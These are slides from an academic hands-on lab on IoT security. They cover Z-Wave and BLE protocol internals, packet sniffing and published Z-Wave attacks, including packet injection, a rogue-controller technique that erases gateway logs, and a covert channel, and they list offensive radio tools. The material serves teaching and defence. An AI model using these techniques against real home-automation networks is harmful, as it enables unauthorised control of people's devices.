Security Analysis of Internet of Things Devices: Hands-on lab
Abdelkader Lahmadi, Frédéric Beck

To cite this version:
Abdelkader Lahmadi, Frédéric Beck. Security Analysis of Internet of Things Devices: Hands-on lab. AIMS 2018 - 12th International Conference on Autonomous Infrastructure, Management and Security, Jun 2018, Munich, Germany. hal-01943543

HAL Id: hal-01943543
https://inria.hal.science/hal-01943543
Submitted on 6 Dec 2018

HAL is a multi-disciplinary open access archive for the deposit and dissemination of scientific research documents, whether they are published or not. The documents may come from teaching and research institutions in France or abroad, or from public or private research centers.

L’archive ouverte pluridisciplinaire HAL, est destinée au dépôt et à la diffusion de documents scientifiques de niveau recherche, publiés ou non, émanant des établissements d’enseignement et de recherche français ou étrangers, des laboratoires publics ou privés.
Security Analysis of Internet of Things Devices: Hands-on lab

Abdelkader Lahmadi, Frédéric Beck
Abdelkader.lahmadi@loria.fr, Frederic.Beck@inria.fr

AIMS 2018, Jun 4th 2018, Munich, Germany
Outline

• IoT devices overview
  • Consumer and industrial IoT
  • Hardware and software architectures

• Communication protocols
  • Z-Wave protocol
  • BLE protocol

• IoT attacks and threats
  • Case studies

• Communication protocols analysis: BLE and ZWave
  • BLE Packets sniffing using ubertooth
  • Z-wave Packets sniffing using GNU Radio and scapy
  • A Z-wave attack: the universal controller
Internet of Things (IoT)

◆ The next big thing is small
  – Low-power Motes (TI MSP430, SensorTAG, STM32xx, ARM-based, …)
  – Arduino, Raspberry PI, Intel Quark SoC
  – Motes with energy harvesting
◆ IoT is one of the hot research topics, IETF is working on IoT protocols
◆ IoE (Internet of Everything) is coming soon for connecting People, Process, Data, and Things

Source: extremeTech.com
IoT: Different definitions, similar concepts

3.2.2 Internet of things (IoT): A global infrastructure for the information society, enabling advanced services by interconnecting (physical and virtual) things based on existing and evolving interoperable information and communication technologies.

The Internet Architecture Board (IAB) begins RFC 7452, “Architectural Considerations in Smart Object Networking”, with this description:

The term "Internet of Things" (IoT) denotes a trend where a large number of embedded devices employ communication services offered by the Internet protocols. Many of these devices, often called "smart objects," are not directly operated by humans, but exist as components in buildings or vehicles, or are spread out in the environment.

The Oxford Dictionaries offers a concise definition that invokes the Internet as an element of the IoT:

Internet of things (noun): The interconnection via the Internet of computing devices embedded in everyday objects, enabling them to send and receive data.

“A world where physical objects are seamlessly integrated into the information network, and where the physical objects can become active participants in business processes. Services are available to interact with these ‘smart objects‘ over the Internet, query their state and any information associated with them, taking into account security and privacy issues.”
Raise and growth of IoT

- 24 billion Internet-connected objects by 2019 (according to Cisco)
- 75 billion networked devices by 2020 according to Morgan Stanley
- 100 billion of IoT connections by 2025 according to Huawei

The Internet of Things (IoT) involves connecting everyday objects through the Internet to gather and exchange data. Applications include smart homes, smart cities, connected vehicles, smart grids, and environmental monitoring.

- Smart Home: Devices that enhance home comfort and security.
- Wearable: Portable devices worn on the body for health monitoring.
- Smart Grid: Networked systems for efficient electricity distribution.
- Medical & Healthcare: Devices for health and wellness.
- Connected Vehicle: Intelligent vehicles communicating with infrastructure.
- Smart City: Urban technologies improving city operations and services.
- Environmental Monitoring: Tools for tracking environmental conditions.

Internet-of-Things (IoT) applications are everywhere in our daily lives, enabling smart living experiences.
Consumer IoT devices

**SmartyPans** (smart cooking pans)

Microbot Push

“Microbot Push is a wireless robotic finger that can push most ordinary buttons just like a human finger does.”
Industrial IoT (IIoT) devices

Tier 1: Mote
- Cluster formation
- Battery operated
- Extreme environmental conditions
- Low data storage requirements
- Signal compression & local processing
- Short-range communication

Tier 2: Gateway
- Stargate
- Powered from the grid
- Control cluster formation & queries
- High computational power
- Time Reference (NTP & GPS PPS)
- High data storage requirements
- Signal transmission via GPRS, EDGE
- Long-range communication

Tier 3: Middleware & Backend
- Web servers, Application servers
- Database server
- Analytics
- Spatial (and web) visualisation
- Network Management Tools

Sensor Types:
- T/C Sensor
- Pressure Sensor
- Flow Sensor
IIoT and consumer IoT integration

Source: http://www.electronicdesign.com/iot/designing-industrial-internet-things
IoT elements

- **Identification**: name and match services.
- **Sensing**: gathering data from related objects within the network and sending it back to a data warehouse, database, or cloud.
- **Communication**: connect heterogeneous objects together to deliver specific smart services.
- **Computation**: Processing units (e.g., microcontrollers, microprocessors, SOCs, FPGAs) and software applications represent the “brain” and the computational ability of the IoT.
- **Services**: Identity-related Services, Information Aggregation Services, Collaborative-Aware Services and Ubiquitous Services.
- **Semantics**: ability to extract knowledge smartly by different machines to provide the required services.

---

<table>
<thead>
<tr>
<th>IoT Elements</th>
<th>Samples</th>
</tr>
</thead>
<tbody>
<tr>
<td>Identification</td>
<td>Naming, Addressing</td>
</tr>
<tr>
<td>Sensing</td>
<td>Smart Sensors, Wearable sensing devices, Embedded sensors, Actuators, RFID tag</td>
</tr>
<tr>
<td>Communication</td>
<td>RFID, NFC, UWB, Bluetooth, BLE, IEEE 802.15.4, Z-Wave, WiFi, WiFiDirect, LTE-A</td>
</tr>
<tr>
<td>Computation</td>
<td>Hardware, Software</td>
</tr>
<tr>
<td>Services</td>
<td>Identity-related (shipping), Information Aggregation (smart grid), Collaborative-Aware (smart home), Ubiquitous (smart city)</td>
</tr>
<tr>
<td>Semantic</td>
<td>RDF, OWL, EXI</td>
</tr>
</tbody>
</table>
IoT node architecture

![Diagram of IoT node architecture](image)

Fundamentals of *Wireless Sensor Networks: Theory and Practice*  
Waltenegus Dargie and Christian Poellabauer © 2010
Microcontroller

- Main processing units of embedded devices
- Special purpose and highly integrated
  - Integrated RAM, ROM, I/O, peripherals
  - Extremely good power to performance ratio
  - Cheap, typically 0.25 - 10.00 USD
-Executes programs including embedded system control, measurement & communications
  - Usually time-critical requiring guarantees
  - Real-time performance a common requirement
    - Pre-emptive scheduled tasks
    - Queues and semaphores
Example: MSP430

- Texas Instruments mixed-signal uC
- 16-bit RISC
- ROM: 1-60 kB
- RAM: Up to 10 kB
- Analogue
  - 12 bit ADC & DAC
  - LCD driver
- Digital
  - USART x 2
  - DMA controller
  - Timers
**IoT: common operating systems**

<table>
<thead>
<tr>
<th>Operating System</th>
<th>Language Support</th>
<th>Minimum Memory (KB)</th>
<th>Event-based Programming</th>
<th>Multi-threading</th>
<th>Dynamic Memory</th>
</tr>
</thead>
<tbody>
<tr>
<td>TinyOS</td>
<td>nesC</td>
<td>1</td>
<td>Yes</td>
<td>Partial</td>
<td>Yes</td>
</tr>
<tr>
<td>Contiki</td>
<td>C</td>
<td>2</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>LiteOS</td>
<td>C</td>
<td>4</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Riot OS</td>
<td>C/C++</td>
<td>1.5</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Android</td>
<td>Java</td>
<td>-</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
</tbody>
</table>
Security and privacy issues in Internet of Things

Yuchen et al, A Survey on Security and privacy issues in Internet of things, IEEE INTERNET of Things Journal, 2017
IoT security

• Ensuring the security, reliability, resilience and stability of Internet applications and services is critical

• Security in IoT is important and linked to the ability of users to trust their environment

• Poorly secured IoT devices: entry points for cyber attacks, reprogram the device, malfunctioning

• Poorly designed devices can expose user data to theft

• Competitive cost and technical constraints: security design deficiency

• Every poorly secured device that is connected online potentially affects the security and resilience of the Internet globally (Mirai botnet, end 2016)
Challenges

• **Large scale**: deployment of IoT devices at a massive scale
• **High connectivity and multiple protocols**: device to device, device to gateway, device to cloud
• **Low diversity**: a vulnerability in a protocol may affect many devices sharing the same protocol
• **Difficult to reconfigure or to upgrade**
• The user has **no visibility** into the **data produced** by the device or its **internal working**
• **Build Your own Internet of Things**: poor security practices
Why it is difficult to secure IoT?

• Battery life extension
  • Limited energy to execute the designed functionality and heavy security instructions can drain the devices’ resources
  • Use the minimum security requirements on the device, which is not recommended especially when dealing with sensitive data.
  • harvest energy from natural resources (e.g., light, heat, vibration, wind): requires hardware upgrade and increases cost

• Lightweight computation
  • limited memory space which can’t handle the computing and storage requirements of advanced cryptography algorithms.
  • Latency hiding technique: breaking down the query results of large size into small sized data sets.
  • Lightweight encryption scheme: Identity-based Encryption
Classification of IoT attacks

- **Physical attack**: performed when the attacker is in a close distance of the device
  - Use secure booting by applying a cryptographic hash algorithms and digital signature to verify its authentication and the integrity of the software

- **Network attack**: manipulating the IoT network system to cause damage
  - Authenticate itself to the network before any transmission or reception of data

- **Software attack**: happen when the IoT applications present some security vulnerabilities that allow the attacker to seize the opportunity and harm the system.

- **Encryption attack**: breaking the system encryption. This kind of attacks can be done by side channel, cryptanalysis, and man-in-the-middle attacks

Classification of IoT attacks

• Taxonomy classification for IoT attacks based on how the attacker features deviates from the legitimate IoT devices
  • ignoring, reducing, misusing, and extending the system functionality

• Creating a covert channel: organization building that implemented smart lights
  • Optical receiver that could read the data from a distance of over 100 meters by measuring the exact duration and frequency of the small changes in the lights intensity
  • Use those lights to create strobes in the sensitive light frequencies, which can lead to a risk of epileptic seizures

IoT botnets

- December 2013: first IoT botnet
  - 25% of the botnet was made up of devices other than computers, including smart TV, baby monitors and other household appliances

- October 2016: Mirai botnet
  - Many web sites including: Twitter, Netflix, Spotify, Airbnb, Reddit, Etsy, SoundCloud and The New York Times, were reported inaccessible by users caused by a distributed denial of service attack (DDoS) attack using a network of consumer devices from the Internet of Things (IoT)

- 2016: IRCTelnet
  - Infect Linux-based insecure IoT devices and turn them into a botnet to carry out massive DDoS attacks
Reading material


IoT communication protocols
IoT communication models (RFC 7452)

- Device to device communications
  - Built-in security and trust mechanisms
  - Device-specific data models
  - Compatibility problem for the users

IoT communication models (RFC 7452)

- Device to Cloud communications
  - IoT device connects directly to Internet cloud service
  - Takes advantage of existing communications mechanisms: wired Ethernet, Wi-Fi
  - Interoperability issues: device and cloud service from the same vendor

IoT communication models (RFC 7452)

• Device to Gateway model
  • Device connects to application layer gateway to reach a cloud service
  • Local gateway could be a smartphone running an app to communicate with the device and relay data to a cloud service

IoT communication models (RFC 7452)

• Back-end data sharing model
  • Communication architecture that enables users to export and analyze smart object data from a cloud service in combination with data from other sources.
  • Requires interoperability among back-end systems

Figure 4. Back-end data sharing model diagram.


Communication protocols

- Bluetooth, BLE, Mesh
- NFC, ZigBee, 6LoWPAN
- Wi-Fi

Wi-Fi HaLow (802.11ah) – low-rate, low-power
<table>
<thead>
<tr>
<th>Physical layer</th>
<th>ZigBee</th>
<th>6LoWPAN (Over 802.15.4)</th>
<th>Z-Wave</th>
<th>Bluetooth Low Energy</th>
<th>Classic Bluetooth</th>
</tr>
</thead>
<tbody>
<tr>
<td>RF band (MHz)</td>
<td>868/915/2400</td>
<td>868/908 (all chips) 2400 (400 series chip)</td>
<td>9.6/40 (from 200 series chip) 200 (only 400 series chip)</td>
<td>2400</td>
<td>2400</td>
</tr>
<tr>
<td>Bit rate (kbps)</td>
<td>20/40/250</td>
<td>20/40/250</td>
<td>9.6/40 (from 200 series chip) 200 (only 400 series chip)</td>
<td>1000</td>
<td>≤721 (v1.2), 3000 (v2+EDR), ≤24,000 (v3+HS)</td>
</tr>
<tr>
<td>Modulation</td>
<td>BPSK/BPSK/O-QPSK</td>
<td>BPSK</td>
<td>QPSK</td>
<td>GFSK</td>
<td></td>
</tr>
<tr>
<td>Spreading technique</td>
<td>DSSS</td>
<td>No</td>
<td>FHSS (2 MHz channel width)</td>
<td>FHSS (1 MHz channel width)</td>
<td></td>
</tr>
<tr>
<td>Receiver sensitivity (dBm)</td>
<td>−85 or better (2.4 GHz band) −92 or better (868/915 MHz bands)</td>
<td>−101 (at 40 kbps)</td>
<td>≤−70 (required)</td>
<td>−87 to −93 (typical)</td>
<td></td>
</tr>
<tr>
<td>Transmit power (dBm)</td>
<td>−32 to 0</td>
<td>−20 to 0</td>
<td>−20 to 10</td>
<td>20/4/0 (Class 1/2/3)</td>
<td></td>
</tr>
<tr>
<td>Link layer</td>
<td>TDMA+CSMA/CA (beacon mode) and CSMA/CA (beaconless mode)</td>
<td>CSMA/CA</td>
<td>TDMA</td>
<td>TDMA</td>
<td></td>
</tr>
<tr>
<td>MAC mechanism</td>
<td>TDMA+CSMA/CA (beacon mode) and CSMA/CA (beaconless mode)</td>
<td>CSMA/CA</td>
<td>TDMA</td>
<td>TDMA</td>
<td></td>
</tr>
<tr>
<td>Message size (bytes)</td>
<td>127 (maximum)</td>
<td>64 (max. MAC payload in 200 series chip)</td>
<td>8 to 47</td>
<td>358 (maximum)</td>
<td></td>
</tr>
<tr>
<td>Error control</td>
<td>16-bit CRC. ACKs (optional)</td>
<td>8-bit checksum. ACKs (optional)</td>
<td>24-bit CRC. ACKs</td>
<td>8-bit CRC (header), 16-bit CRC and 2/3 FEC (payload). ACKs</td>
<td></td>
</tr>
<tr>
<td>Latency (ms)</td>
<td>&lt;5 (beaconless mode, at 250 kbps)</td>
<td>&lt;39 (at 40 kbps)</td>
<td>&lt;3</td>
<td>&lt;100</td>
<td></td>
</tr>
<tr>
<td>Identifiers</td>
<td>16- and 64-bit MAC addresses. 16-bit NWK identifiers</td>
<td>16- and 64-bit MAC addresses. 128-bit IPv6 addresses</td>
<td>32-bit (home ID), 8-bit (node ID)</td>
<td>48-bit public device Bluetooth address or random address</td>
<td>48-bit public device Bluetooth address</td>
</tr>
</tbody>
</table>

[C. Gomez et al., MPI Sensors journal 2012, vol12]
## IoT communication protocols comparison (cont.)

<table>
<thead>
<tr>
<th>Device types or roles</th>
<th>ZigBee</th>
<th>6LoWPAN (Over 802.15.4)</th>
<th>Z-Wave</th>
<th>Bluetooth Low Energy</th>
<th>Classic Bluetooth</th>
</tr>
</thead>
<tbody>
<tr>
<td>Coordinator, Router and End device</td>
<td>Edge Router, Mesh Node (mesh under), Router (route over), Host</td>
<td>Controller and slave</td>
<td>Master and slave</td>
<td>Master and slave</td>
<td></td>
</tr>
</tbody>
</table>

### Network layer

<table>
<thead>
<tr>
<th>Multi-hop solution</th>
<th>ZigBee</th>
<th>6LoWPAN (Over 802.15.4)</th>
<th>Z-Wave</th>
<th>Bluetooth Low Energy</th>
<th>Classic Bluetooth</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mesh routing, tree routing, and source routing</td>
<td>Mesh routing, tree routing, and source routing</td>
<td>RPL (other protocols are not excluded)</td>
<td>Source routing</td>
<td>Not currently supported</td>
<td>Scatternet (routing protocol out of the scope of the Bluetooth specifications)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Hop limit</th>
<th>ZigBee</th>
<th>6LoWPAN (Over 802.15.4)</th>
<th>Z-Wave</th>
<th>Bluetooth Low Energy</th>
<th>Classic Bluetooth</th>
</tr>
</thead>
<tbody>
<tr>
<td>30/10/5 (mesh routing/tree routing/source routing)</td>
<td>30/10/5 (mesh routing/tree routing/source routing)</td>
<td>255</td>
<td>4</td>
<td>1</td>
<td>Outside scope of Bluetooth specifications</td>
</tr>
</tbody>
</table>

### Security

<table>
<thead>
<tr>
<th>ZigBee</th>
<th>6LoWPAN (Over 802.15.4)</th>
<th>Z-Wave</th>
<th>Bluetooth Low Energy</th>
<th>Classic Bluetooth</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Key management</th>
<th>Key management currently out of scope</th>
<th>Key management currently out of scope</th>
<th>Key management currently out of scope</th>
<th>Key management currently out of scope</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Implementation size</th>
<th>ZigBee</th>
<th>6LoWPAN (Over 802.15.4)</th>
<th>Z-Wave</th>
<th>Bluetooth Low Energy</th>
<th>Classic Bluetooth</th>
</tr>
</thead>
<tbody>
<tr>
<td>45–128 kB (ROM), 2.7–12 kB (RAM)</td>
<td>24 kB (ROM), 3.6 kB (RAM)</td>
<td>32–64 kB (Flash), 2–16 kB (SRAM)</td>
<td>~40 kB (ROM), ~2.5 kB (RAM)</td>
<td>~100 kB (ROM), ~30 kB (RAM)</td>
<td></td>
</tr>
</tbody>
</table>
Z-wave protocol

- Based on the ITU-T G.9959 standard: but it is a proprietary protocol
- Network: control nodes and slave nodes, mesh network
- Data rates (US)

<table>
<thead>
<tr>
<th></th>
<th>Rate 1 (R1)</th>
<th>Rate 2 (R2)</th>
<th>Rate 3 (R3)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data rate</td>
<td>9.6 kbps</td>
<td>40 kbps</td>
<td>100 kbps</td>
</tr>
<tr>
<td>Symbol rate</td>
<td>19.2 kBaud</td>
<td>40 kBaud</td>
<td>100 kBaud</td>
</tr>
<tr>
<td>Center freq</td>
<td>908.42 MHz</td>
<td>908.40 MHz</td>
<td>916 MHz</td>
</tr>
<tr>
<td>Modulation</td>
<td>FSK</td>
<td>FSK</td>
<td>GFSK</td>
</tr>
<tr>
<td>Coding</td>
<td>Manchester</td>
<td>NRZ</td>
<td>NRZ</td>
</tr>
<tr>
<td>Deviation</td>
<td>±20 KHz</td>
<td>±20 KHz</td>
<td>±29 KHz</td>
</tr>
</tbody>
</table>

- In Europe 868.42 MHZ
- Range 50 meters
- PHY Service Data Unit sizes: 170B at R3 and 64B at R1 or R2 rates
Z-wave networks

- Mesh network with one primary controller and up to 232 nodes
- Automatic topology discovery
- Network inclusion and exclusion devices

Local gateway access

Global gateway access
Z-wave frame

- **PHY frame**
  - Preamble
  - SoF
  - MAC Data Frame
  - EoF

- **Singlecast MAC frame**
  - **canal 1 et 2**
    - Home ID
    - Source ID
    - Frame control
    - Length
    - Destination ID
    - Data payload
    - Checksum
  - **canal 3**
    - Home ID
    - Source ID
    - Frame control
    - Length
    - Sequence number
    - Destination ID
    - Data payload
    - Checksum

- **Multicast MAC frame**
  - **canal 1 et 2**
    - Home ID
    - Source ID
    - Frame control
    - Length
    - Multicast control
    - Multicast bit mask
    - Data payload
    - Checksum
  - **canal 3**
    - Home ID
    - Source ID
    - Frame control
    - Length
    - Sequence number
    - Multicast control
    - Multicast bit mask
    - Data payload
    - Checksum

- **Application frame**
  - Header
  - Command Class
  - Command
  - Param1
  - Param2
  - Param...
  - Paramn
Z-wave frame example: SWITCH_BINARY

Packet RECEIVED
Packet: 01 00 00 00 00 00 00 00 de ad be ef 01 51 08 0d 18 25 01 ff 49

### [ Gnuradio header ]###
- proto = ZWave
- rfu1 = 0
- channel = 0
- rfu2 = 0
- version = 0
- preamble = 0
- rf_psnr = 0
- extended = 0

### [ ZWaveReq ]###
- homeid = 0xdeadbeef
- src = 0x1
- routed = 0L
- ackreq = 1L
- lowpower = 0L
- speedmodified = 1L
- headertype = 1L
- reserved_1 = 0L
- beam_control = 0L
- reserved_2 = 0L
- seqn = 8L
- length = 0xd
- dst = 0x18
- cmd_class = SWITCH_BINARY
- crc = 0x49

### [ ZWaveSwitchBin ]###
- cmd = SET

### [ Raw ]###
- load = '\xff'
## Inclusion of a device in a Z-wave network

### Diagram Description

- **Controller**
- **Slave**

#### Slave inclusion

1. **Switching to inclusion mode**
2. **NIF - Node Information Frame**
   - **Add slave in memory**
   - **Sending information**
     - **Command classes**
   - **Inclusion information**
   - **NIF to confirm**

#### Switching to inclusion mode

- **Controller**
- **Slave**
- **NIF - Node Information Frame**
  - **Add slave in memory**
  - **Sending information**
    - **Command classes**
  - **Inclusion information**
  - **NIF to confirm**

**Included in the network**

<table>
<thead>
<tr>
<th>Command Class 1 (Support)</th>
<th>Command Class x-1 (Support)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Command Class x (COMMAND_CLASS_MARK)</td>
<td>Command Class x+1 (Control)</td>
</tr>
<tr>
<td>Command Class n (Control)</td>
<td>Command Class n (Control)</td>
</tr>
</tbody>
</table>

---

**Notes:**

- The diagram illustrates the process of including a slave device in a Z-wave network.
- The diagram shows the exchange of information between the controller and the slave.
- The process includes sending a Node Information Frame (NIF) and confirming the inclusion of the slave in the network.
Z-wave identifiers

Home ID is written to the controller's Z-Wave chip by the manufacture and can not be changed by the controller software : 32 bits -> 4 billions of devices
Node ID : 8 bits -> 256 devices
Z-wave security

Message Freshness: 64-bit Nonce

Encryption: AES-OFB

Data Authentication: AES-CBCMAC

128-bit Random Network Key: $K_n$

Custom Key Establishment Protocol

128-bit Cipher & MAC Keys: Derived From $K_n$

Source: slide of Fouladi et al, Honey, I’m Home: Hacking Z-wave Home Automation Systems, BlackHat USA 2013
Z-wave communication security

• Home ID for network authentication
• Checksum computation to detect and discard erroneous frames
• Z-wave secure communications
  • Security Command Class V1
  • Encapsulate packets into secure container, every communication is protected by a single Nonce (one time password)
  • AES 128 bits encryption in the chip (hardware)

Vulnerability analysis and exploitation in Z-wave networks

• Two approaches
  • Bottom-up: packet capture and injection attacks
  • Top-down: exploitation of Z-wave gateways

• Packet injection attacks
  • Enable an attacker to masquerade as a legitimate user
  • Publicly available tools: Z-force (not open source), scapy-radio, AFIT Sniffer, EZ-wave

• Gateway attacks
  • Exploit vulnerabilities discovered in Z-Wave gateways: lack of user authentication, lack of encryption, and open ports
  • Insert a rogue controller to gain access to Z-wave network
Rogue Z-wave controllers

• Reconnaissance of each device: default settings and modes of operations are identified
  • Scanning of open ports: Web, SSH

• Examines vulnerabilities in the device implementation
  • Low HTTP authentication, backup files to reimage the system and retrieve passwords

• Exploits a new vulnerability to create a persistent attack channel by injecting a rogue controller in the Z-Wave network
  • Put the primary controller in inclusion mode using a crafted HTTP packet
  • Replicate the primary controller to build a rogue one
  • Delete the log entries from the UI
  • Transmit commands to the devices bypassing the gateway

Reference: Fuller et al, Rogue Z-Wave Controllers: A Persistent Attack Channel, in 2015 IEEE 40th Local Computer Networks Conference Workshops (LCN Workshops)
Information hiding in the Z-Wave MAC frame

- Hide information in the MAC frame at rates R1 and R2 (64B)

- MSDU: variable length (payload information)
- Basic command class: SET, GET, REPORT (known length)
  - Determine available bytes remaining
- Attacker can hide up to 51B in a singlecast frame and up to 22B in a multicast frame
Z-wave covert channel: information hiding

- Gain access to the Z-wave gateway by using a rogue controller technique (Fuller et Ramsey, 2015)
- Attacker crafts Z-Wave packets containing hidden information
  - Transmit them using a Software-Defined radio (SDR) and scapy-radio.

![Figure 4: MAC frame consisting of (a) home ID, (b) source ID, (c) frame control, (d) length, (e) destination ID, (f) basic command class, command, and payload, (g) hidden information in MSDU, and (h) checksum]

- A running script on the gateway scans for any injected packet
  - Dissects the packet and retrieving the needed information
  - Clears the log file

- Counter-measure: misuse-base introduction detection by monitoring Z-wave frames

Some useful tools for Z-wave security analysis

• Scapy-radio (https://bitbucket.org/cybertools/scapy-radio/src): built upon Gnu radio and Scapy for pentesting for RF-based protocols
  • Packets sniffing and injection using scapy library

  • EZStumbler: passive and active scanner for discovering and enumerating Z-wave networks
  • EZFingerprint: identify the manufacture, product name and firmware versions
  • EZRecon: status information from a target, sensor reading, configuration settings

• Z-attack (https://github.com/advens/Z-Attack): Z-wave packet interception and injection using RfCat USB dongle

• Z-force (https://code.google.com/archive/p/z-force/): intercept and decrypt Z-wave keys
Bluetooth Low Energy (BLE) protocol

- BLE is part of Bluetooth SIG specification, IEEE802.15.1 V4.0+ standard, since 2010
- BLE is very different from classic Bluetooth, so it can almost be considered as another stand-alone standard
- BLE is one of the Low power networking technology for enabling IoT
  - Output power: 10mW (10dBm)
  - Maximum current: 15mA
  - Sleep current: 1 μA
  - Robust physical layer: Adaptive frequency hopping
  - Topology: star
BLE devices

- High end smartphones
- Sports / fitness devices
- Door locks
- Upcoming medical devices
Bluetooth versus BLE

- BLE: completely different than previous Bluetooth
  - Range
  - Data rate
  - Latency
  - Power consumption

<table>
<thead>
<tr>
<th>Technical Specification</th>
<th>Classic Bluetooth</th>
<th>Bluetooth Low Energy</th>
</tr>
</thead>
<tbody>
<tr>
<td>Distance/Range</td>
<td>100 m (330 ft)</td>
<td>50 m (160 ft)</td>
</tr>
<tr>
<td>Over the air data rate</td>
<td>1–3 Mbit/s</td>
<td>1 Mbit/s</td>
</tr>
<tr>
<td>Application throughput</td>
<td>0.7–2.1 Mbit/s</td>
<td>0.27 Mbit/s</td>
</tr>
<tr>
<td>Security</td>
<td>56/128-bit</td>
<td>128-bit AES</td>
</tr>
<tr>
<td>Latency (from a non-connected state)</td>
<td>Typically 100 ms</td>
<td>6 ms</td>
</tr>
<tr>
<td>Total time to send data (det.battery life)</td>
<td>100 ms</td>
<td>3 ms, &lt;3 ms</td>
</tr>
<tr>
<td>Power consumption</td>
<td>1 as the reference</td>
<td>0.01 to 0.5 (use case dependent)</td>
</tr>
</tbody>
</table>
BLE Physical layer

- GFSK, +/- 250 kHz, 1 Mbit/sec
- 40 channels in 2.4 GHz
- Hopping
  - Advertising: 3 channels
  - Data: 37 channels

<table>
<thead>
<tr>
<th>RF Channel</th>
<th>RF Center Frequency</th>
<th>Channel Type</th>
<th>Data Channel Index</th>
<th>Advertising Channel Index</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>2402 MHz</td>
<td>Advertising channel</td>
<td></td>
<td>37</td>
</tr>
<tr>
<td>1</td>
<td>2404 MHz</td>
<td>Data channel</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>2406 MHz</td>
<td>Data channel</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>Data channels</td>
<td>...</td>
<td></td>
</tr>
<tr>
<td>11</td>
<td>2424 MHz</td>
<td>Data channel</td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>12</td>
<td>2426 MHz</td>
<td>Advertising channel</td>
<td></td>
<td>38</td>
</tr>
<tr>
<td>13</td>
<td>2428 MHz</td>
<td>Data channel</td>
<td>11</td>
<td></td>
</tr>
<tr>
<td>14</td>
<td>2430 MHz</td>
<td>Data channel</td>
<td>12</td>
<td></td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>Data channels</td>
<td>...</td>
<td></td>
</tr>
<tr>
<td>38</td>
<td>2478 MHz</td>
<td>Data channel</td>
<td>36</td>
<td></td>
</tr>
<tr>
<td>39</td>
<td>2480 MHz</td>
<td>Advertising channel</td>
<td></td>
<td>39</td>
</tr>
</tbody>
</table>

avoid interference with Wi-Fi channels
BLE hopping

→ Hop along 37 data channels
→ One data packet per channel
→ Next channel ≡ channel + hop increment (mod 37)
→ Time between hops: hop interval

3 → 10 → 17 → 24 → 31 → 1 → 8 → 15 → ...

hop increment = 7
Protocol stack

- **Applications = Profiles & Services**
- **Generic Access Profile**
- **Generic Attribute Profile**
- **Attribute Protocol**
- **Security Manager**
- ** Logical Link Control & Adaptation Protocol**
- **Host Controller Interface**
- **Link Layer**
- **Direct Test Mode**
- **Physical Layer**
BLE link layer

- Two device types: Peripheral (e.g. sensors) and Central (e.g. smartphone, tablet, PC)
- Four device roles: Advertiser, Scanner, Master, Slave
- Two forms of BLE device address: 6-bytes public unique MAC or randomly generated one
- Two communication modes:
  - Advertising and scanning (on advertising channels)
    - Advertiser broadcasting data without establishing connection
    - Master for discovering slaves and to connect to them
  - Connection (TDMA) using data channels
    - Connection establishment: a master scans for detecting advertising slave, then sends connection request, slave responds, connection established
    - Data exchanges between the slave and the master at predefined times (duty-cycle)
## BLE packet format

![BLE Packet Format Diagram](image)

<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Op</td>
<td>ATT Opcode</td>
</tr>
<tr>
<td>Par/Pay</td>
<td>Parameters and Payload</td>
</tr>
<tr>
<td>L2 He</td>
<td>L2CAP Header</td>
</tr>
<tr>
<td>Acc Addr</td>
<td>Access Address</td>
</tr>
<tr>
<td>Pre</td>
<td>Preamble</td>
</tr>
<tr>
<td>MIC</td>
<td>Message Integrity Check</td>
</tr>
<tr>
<td>CRC</td>
<td>Cyclic Redundancy Check</td>
</tr>
</tbody>
</table>

### Physical Layer

BLE operates in the 2.4 GHz Industrial Scientific Medical (ISM) band and defines 40 Radio Frequency (RF) channels with 2 MHz channel spacing. There are two types of BLE RF channels: advertising channels and data channels. Advertising channels are used for device discovery, connection establishment and broadcast transmission, whereas data channels are used for bidirectional communication between connected devices.

Three channels are defined as advertising channels. These channels have been assigned center frequencies that minimize overlapping with IEEE 802.11 channels 1, 6 and 11, which are commonly used in several countries.

An adaptive frequency hopping mechanism is used on top of the data channels in order to face interference and wireless propagation issues, such as fading and multipath. This mechanism selects one of the 37 available data channels for communication during a given time interval.

All physical channels use a Gaussian Frequency Shift Keying (GFSK) modulation, which is simple to implement. The modulation index is in the range between 0.45 and 0.55, which allows reduced peak power consumption. The physical layer data rate is 1 Mbps.

BLE link layer

- One packet format and two PDU types: Advertising and data

BLE Packet

<table>
<thead>
<tr>
<th>Preamble</th>
<th>Access Address</th>
<th>Protocol Data Unit (PDU)</th>
<th>CRC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 Byte</td>
<td>4 Bytes</td>
<td>2-257 Bytes</td>
<td>3 Bytes</td>
</tr>
</tbody>
</table>

Advertising Channel PDU

<table>
<thead>
<tr>
<th>Header</th>
<th>Payload</th>
</tr>
</thead>
<tbody>
<tr>
<td>2 Bytes</td>
<td>0-37 Bytes</td>
</tr>
</tbody>
</table>

Data Channel PDU

<table>
<thead>
<tr>
<th>Header</th>
<th>Payload</th>
</tr>
</thead>
<tbody>
<tr>
<td>2 Bytes</td>
<td>up to 255 Bytes (incl. MIC)</td>
</tr>
</tbody>
</table>

*Message Integrity Check: Included as part of Payload if used (for security)

Ref: BT Specification v4.2, Vol. 6, Part B, Sec. 2.1
How does it work: advertising

Devices can advertise for a variety of reasons:

• To broadcast promiscuously
• To transmit signed data to a previously bonded device
• To advertise their presence to a device wanting to connect
• To reconnect asynchronously due to a local event

The transmitted data from a Bluetooth low energy device is formatted according to the Bluetooth Core Specification and is comprised by the parts shown in Figure 1.

Figure 1. Bluetooth Low Energy Data Packet

